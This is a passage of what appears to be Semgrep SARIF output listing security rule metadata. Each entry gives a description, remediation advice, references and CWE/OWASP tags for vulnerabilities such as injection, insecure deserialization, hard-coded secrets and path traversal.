can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","id":"kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","name":"kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint","id":"go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint","name":"go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.pymongo-fastapi.pymongo-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.pymongo-fastapi.pymongo-fastapi","id":"python.fastapi.db.pymongo-fastapi.pymongo-fastapi","name":"python.fastapi.db.pymongo-fastapi.pymongo-fastapi","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.pymongo-fastapi.pymongo-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user controlled data inside InteractiveConsole/InteractiveInterpreter method. This is dangerous if external data can reach this function call because it allows a malicious actor to run arbitrary Python code."},"help":{"markdown":"Found user controlled data inside InteractiveConsole/InteractiveInterpreter method. This is dangerous if external data can reach this function call because it allows a malicious actor to run arbitrary Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-code-run.dangerous-interactive-code-run)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled data inside InteractiveConsole/InteractiveInterpreter method. This is dangerous if external data can reach this function call because it allows a malicious actor to run arbitrary Python code."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-code-run.dangerous-interactive-code-run","id":"python.lang.security.dangerous-code-run.dangerous-interactive-code-run","name":"python.lang.security.dangerous-code-run.dangerous-interactive-code-run","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-code-run.dangerous-interactive-code-run"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"help":{"markdown":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free","id":"cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free","name":"cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Missing check for 'from' and 'to' being the same before updating balances could lead to incorrect balance manipulation on self-transfers. Include a check to ensure 'from' and 'to' are not the same before updating balances to prevent balance manipulation during self-transfers."},"help":{"markdown":"Missing check for 'from' and 'to' being the same before updating balances could lead to incorrect balance manipulation on self-transfers. Include a check to ensure 'from' and 'to' are not the same before updating balances to prevent balance manipulation during self-transfers.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx)\n - [https://blog.verichains.io/p/miner-project-attacked-by-vulnerabilities](https://blog.verichains.io/p/miner-project-attacked-by-vulnerabilities)\n - [https://x.com/shoucccc/status/1757777764646859121](https://x.com/shoucccc/status/1757777764646859121)\n","text":"Missing check for 'from' and 'to' being the same before updating balances could lead to incorrect balance manipulation on self-transfers. Include a check to ensure 'from' and 'to' are not the same before updating balances to prevent balance manipulation during self-transfers."},"helpUri":"https://semgrep.dev/r/solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx","id":"solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx","name":"solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx","properties":{"precision":"very-high","tags":["CWE-682: Incorrect Calculation","HIGH CONFIDENCE","OWASP-A7:2021 Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi","id":"python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi","name":"python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of NumPy library inside PyTorch `$MODULE` module was found. Avoid mixing these libraries for efficiency and proper ONNX loading"},"help":{"markdown":"Usage of NumPy library inside PyTorch `$MODULE` module was found. Avoid mixing these libraries for efficiency and proper ONNX loading\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules)\n - [https://tanelp.github.io/posts/a-bug-that-plagues-thousands-of-open-source-ml-projects](https://tanelp.github.io/posts/a-bug-that-plagues-thousands-of-open-source-ml-projects)\n","text":"Usage of NumPy library inside PyTorch `$MODULE` module was found. Avoid mixing these libraries for efficiency and proper ONNX loading"},"helpUri":"https://semgrep.dev/r/trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules","id":"trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules","name":"trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules","properties":{"precision":"very-high","tags":["MEDIUM CONFIDENCE"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using the GrantPublicAccess method on bucket contruct $X will make the objects in the bucket world accessible. Verify if this is intentional."},"help":{"markdown":"Using the GrantPublicAccess method on bucket contruct $X will make the objects in the bucket world accessible. Verify if this is intentional.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-overview.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-overview.html)\n","text":"Using the GrantPublicAccess method on bucket contruct $X will make the objects in the bucket world accessible. Verify if this is intentional."},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod","id":"typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod","name":"typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod","properties":{"precision":"very-high","tags":["CWE-306: Missing Authentication for Critical Function","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"help":{"markdown":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-system-call.dangerous-system-call)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-system-call.dangerous-system-call","id":"python.aws-lambda.security.dangerous-system-call.dangerous-system-call","name":"python.aws-lambda.security.dangerous-system-call.dangerous-system-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-system-call.dangerous-system-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML."},"help":{"markdown":"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse)\n - [https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render](https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render)\n - [https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render](https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render)\n","text":"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse","id":"python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse","name":"python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potentially sensitive data was observed to be stored in UserDefaults, which is not adequate protection of sensitive information. For data of a sensitive nature, applications should leverage the Keychain."},"help":{"markdown":"Potentially sensitive data was observed to be stored in UserDefaults, which is not adequate protection of sensitive information. For data of a sensitive nature, applications should leverage the Keychain.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n","text":"Potentially sensitive data was observed to be stored in UserDefaults, which is not adequate protection of sensitive information. For data of a sensitive nature, applications should leverage the Keychain."},"helpUri":"https://semgrep.dev/r/swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults","id":"swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults","name":"swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.path-manipulation.path-manipulation)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO02-C.+Canonicalize+path+names+originating+from+tainted+sources](https://wiki.sei.cmu.edu/confluence/display/c/FIO02-C.+Canonicalize+path+names+originating+from+tainted+sources)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.path-manipulation.path-manipulation","id":"cpp.lang.security.filesystem.path-manipulation.path-manipulation","name":"cpp.lang.security.filesystem.path-manipulation.path-manipulation","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.path-manipulation.path-manipulation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected an AppService that was not configured to use TLS 1.2. Add `site_config.min_tls_version = \"1.2\"` in your resource block."},"help":{"markdown":"Detected an AppService that was not configured to use TLS 1.2. Add `site_config.min_tls_version = \"1.2\"` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#min_tls_version](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#min_tls_version)\n","text":"Detected an AppService that was not configured to use TLS 1.2. Add `site_config.min_tls_version = \"1.2\"` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy","id":"terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy","name":"terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.sqlx-taint.sqlx-taint)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.sqlx-taint.sqlx-taint","id":"rust.actix.sql.sqlx-taint.sqlx-taint","name":"rust.actix.sql.sqlx-taint.sqlx-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.sqlx-taint.sqlx-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.empty-password.empty-password)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.empty-password.empty-password","id":"rust.secrets.postgres.empty-password.empty-password","name":"rust.secrets.postgres.empty-password.empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.empty-password.empty-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-environ-variable-django.tainted-environ-variable-django)\n - [https://docs.python.org/3/library/os.html#os.environ](https://docs.python.org/3/library/os.html#os.environ)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-environ-variable-django.tainted-environ-variable-django","id":"python.django.os.tainted-environ-variable-django.tainted-environ-variable-django","name":"python.django.os.tainted-environ-variable-django.tainted-environ-variable-django","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-environ-variable-django.tainted-environ-variable-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module 